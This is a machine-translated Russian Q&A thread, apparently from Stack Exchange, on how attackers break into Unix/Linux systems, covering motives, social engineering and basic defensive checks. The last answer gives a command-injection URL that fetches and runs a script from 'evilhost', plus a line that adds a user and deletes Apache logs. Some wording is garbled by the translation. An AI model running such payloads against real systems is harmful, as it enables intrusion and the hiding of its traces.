Как именно люди «взламывают» системы Unix / Linux?

13

Нет, я не собираюсь становиться взломщиком или что-то в этом роде, но я пытаюсь понять процесс (больше с точки зрения программирования).

Итак, я предполагаю (догадываюсь), что основная цель взломщика - получить root-доступ для установки любого программного обеспечения (или сценария), которое он написал, верно? или, может быть, установка своего собственного модуля Kernal (который по какой-либо причине является хитрым) Как именно человек поступает так?

Я знаю, что люди используют скрипты для проверки подвигов ...... но я не понимаю, как, и я также не совсем понимаю, что они делают с ними, когда они их находят? Они проверяют версии на наличие известных подвигов ...... а затем, когда они находят один .......

Я знаю, что все это звучит как новенькое. но я просто пытаюсь понять, как это работает, так как я знаю, что системы Linux / Unix должны быть очень безопасными, но я пытаюсь выяснить, как кто-то вообще может (процесс) получить root-доступ.

HedgeMage
источник

Ответы:

14

Есть бесчисленное множество причин, по которым можно попытаться поставить под угрозу безопасность системы. В общих чертах:

  • Для использования ресурсов системы (например, рассылка спама, ретрансляция трафика)
  • Получить информацию о системе (например, получить данные о клиентах с сайта электронной коммерции).
  • Чтобы изменить информацию в системе (например, портить веб-сайт, подставлять ложную информацию, удалять информацию)

Только иногда эти вещи требуют root-доступа. Например, при вводе некорректного поискового запроса на сайт, который не обеспечивает надлежащей очистки входных данных пользователя, можно обнаружить информацию из базы данных сайта, такую ​​как имена пользователей / пароли, адреса электронной почты и т. Д.

Многие компьютерные преступники - просто "сценаристы"; то есть люди, которые на самом деле не понимают безопасность системы и могут даже не кодировать, а использовать эксплойты, написанные другими. Их обычно довольно легко защитить, потому что они не способны адаптироваться; они ограничены использованием известных уязвимостей. (Хотя они могут использовать ботнеты - большие группы скомпрометированных компьютеров - что может означать опасность DDoS-атак.)

Для опытного злоумышленника процесс выглядит примерно так:

  1. Выясните, что цель, и что цель стоит. Безопасность - поддержание или компрометация - это расчет риска / вознаграждения. Чем рискованнее и дороже будет что-то, тем более щедрым будет вознаграждение, чтобы сделать атаку достойной.

  2. Рассмотрим все движущиеся части, которые влияют на то, к какой цели они стремятся - например, если вы хотите рассылать спам, вы можете атаковать почтовый сервер, но может оказаться более целесообразным использовать другой сетевой сервис, как и все, что вы действительно делаете. нужно использовать сетевое соединение цели. Если вам нужны пользовательские данные, вы бы начали смотреть на сервер базы данных, веб-приложение и веб-сервер, которые имеют доступ к ним, систему, которая их резервирует, и т. Д.

    Никогда не сбрасывайте со счетов человеческий фактор. Обеспечить безопасность компьютерной системы гораздо проще, чем защитить поведение человека. Заставить кого-то раскрыть информацию, которую он не должен, или выполнить код, которого он не должен, легко и эффективно. В колледже я выиграл пари с другом, который ворвался в его сверхзащищенную корпоративную сеть, надел нарядный наряд и наткнулся на развратного вице-президента - технический опыт моего друга намного перевесил мой, но ничто не превосходит силу 17-летнего. в короткой юбке!

    Если вам не хватает сиськи, подумайте о предложении бессмысленной игры или чего-то, что идиоты будут загружать для развлечения, не задумываясь о том, что на самом деле может делать.

  3. Посмотрите на каждую часть, которую вы определили, и подумайте, что она может сделать, и как это можно настроить, чтобы делать то, что вы хотите - может быть, служба поддержки часто сбрасывает пароли для пользователей без правильной идентификации вызывающего абонента, и вызывая их звучание запутанным будет получить вам чужой пароль. Возможно, веб-приложение не проверяет, что помещено в поле поиска, чтобы убедиться, что оно не является кодом, прежде чем вставлять его в выполняемую функцию. Компромиссы безопасности обычно начинаются с чего-то преднамеренно обнаженного, который можно заставить вести себя так, как не следует.

HedgeMage
источник
3
после прочтения мне по-прежнему любопытно, какую информацию может предоставить распутный вице-президент в обычной беседе, которая выиграет вам эту ставку.
Джастин Кресс
1
@justin: Я сказал, что был там, чтобы увидеть $ friend re: школьный проект, но его не было в офисе. Я позволил вице-президенту показать мне некоторые тривиальные вещи о компьютерной системе, и он был слишком отвлечен, уставившись на меня, чтобы заметить, что я заметил, как он вводит свой пароль. У него был законный доступ к драйверу, который я должен был получить, чтобы выиграть ставку.
HedgeMage
1
Я полностью согласен, социальная инженерия гораздо проще, чем переполнение кучи. вам действительно понравится этот архив.cert.uni-
stuttgart.de/isn/
«Если вам не хватает сиськи, подумайте о том, чтобы предложить бессмысленную игру или что-то в этом роде» .. серьезно? Вы ставите их обоих в одну категорию эффективности ?! :)
Рупеш Шеной
2
«Подумайте о том, чтобы предложить бессмысленную игру или что-то, что идиоты скачают для удовольствия ...» - Ааа, такова идея Фармвилля и Эвони.
Шадур
4

Наибольшим фактором является тип доступа, который имеет злоумышленник. Если у них есть физический доступ, вы облажались. Если вас интересует только удаленный доступ, то это зависит от того, что у вас работает; хорошая конфигурация это все. Стандартный сервер Linux, вероятно, будет работать с ftp, ssh, http, https и mysql. SSH безопасен, но я бы не разрешил вход с правами root, и хороший пароль для каждой учетной записи является обязательным. FTP ударил или пропустил. Если у вас есть VSFTP и вы можете выполнять настройку своих пользователей, это очень безопасно. Несколько других версий имеют известные уязвимости. HTTP, вероятно, будет вашей самой уязвимой областью. Ваша самая большая проблема здесь - все, что выполняет файлы в системе или загружает файлы в систему. Внедрение SQL ОЧЕНЬ сложно, если ваш сайт сделан на PHP5. Группа студентов, занимающихся вопросами безопасности, и я несколько недель пробовали инъекции SQL-кода на неанизированном веб-сайте PHP5, но безуспешно. С MySQL обязательно используйте пользователя без полномочий root и ограничьте его для входа только с вашего сервера Apache.

Есть пара плагинов Firefox для тестирования уязвимостей веб-сайтов: access me, xss me и sql инъекция меня

Некоторые важные вещи, которые я всегда делал на соревнованиях для обеспечения безопасности:

  • netstat - проверить открытые порты и соединения,
  • w - кто вошел в систему, как долго,
  • Проверьте журналы на логины,
  • история bash для выполненных команд,
  • ps - запуск команд,
  • /etc/passwd для дополнительных пользователей
  • /etc/sudoers для доступа sudo.

Обычно после получения доступа злоумышленник хочет получить root. В настоящее время существует несколько уязвимостей, связанных с повышением привилегий, которые позволяют обычному пользователю получить права root. После этого они хотят открыть его для последующего доступа, добавив пользователей и открыв задние двери.

Вот сайт моей школы по киберзащите. Не стесняйтесь осмотреться и задать несколько вопросов: https://thislink.doesntexist.org/

Мерфи
источник
2

Безопасность системы зависит от навыков администратора (ов), поэтому неправильно говорить «системы Linux / Unix должны быть очень безопасными» :)

Теперь перейдем к взлому ... Существует своего рода инструмент, называемый " сканер уязвимостей ", такой как Nessus, который ищет вещи для эксплуатации. Есть тысячи вещей, которые могут пойти не так в сложной системе, такой как неправильно настроенный сервер Apache, чтобы разрешить загрузку произвольных файлов в произвольные места. Они могут служить отправной точкой для дальнейших действий, таких как получение доступа к базе данных или учетной записи электронной почты, с которой пароли можно восстановить с помощью функции «забыть пароль».

Иногда взломать это получить доступ и сделать что-то злое. Иногда люди делают это ради забавы (что, кстати, глупо).

И вот история знаменитого взлома, который произошел совсем недавно. Я думаю, что это будет показательным для всех, кто смотрит на безопасность! Чтобы процитировать резюме подвигов:

Веб-приложение с недостатками SQL-инъекций и небезопасными паролями. Пароли, которые были выбраны неправильно. Пароли, которые были использованы повторно. Серверы, на которых разрешена аутентификация на основе пароля. Системы, которые не были исправлены. И удивительная готовность выдавать полномочия по электронной почте, даже если человек, которого они просили, должен был понять, что что-то не так.

phunehehe
источник
1

Векторов атаки так много, что они почти бесконечны. Одна из самых простых концептуальных концепций - сделать программу общедоступной и заявить, что она делает что-то иное, чем на самом деле. Дайте пользователям дружественные инструкции с sudoсамого начала и наблюдайте, как мир развивается. Это происходит каждый день с программами с закрытым исходным кодом, поскольку одному человеку невозможно заранее проверить его работу, как, например, на компакт-дисках Sony .

Вы также можете попробовать отправить специальные строки на удаленный хост. В качестве высокоуровневого примера, скажем, у вас есть веб-сервер с запущенным на нем программным обеспечением, и это программное обеспечение запускает часть URL-адреса как команду, не экранируя или иным образом не гарантируя, что оно не может причинить никакого вреда. Отправить что - то вроде http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. Декодируется строка поиска . Если это будет выполнено, script.sh будет работать с теми же правами доступа, что и пользователь веб-сервера, для выполнения каких-либо действий на компьютере. Иногда люди допускают, чтобы они работали как root для «удобства», в данном случае это синоним лени и / или невежества. Даже если он не запущен с правами root, этот сценарий может запустить тысячи тестов для других дыр в установленном программном обеспечении и выполнить другую команду, если найдет такую. Последняя команда может быть, например,foo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.log, чтобы получить доступ по SSH и удалить следы взлома.

[команды были явно упрощены и, вероятно, не сработали бы в любом случае. YMMV]

l0b0
источник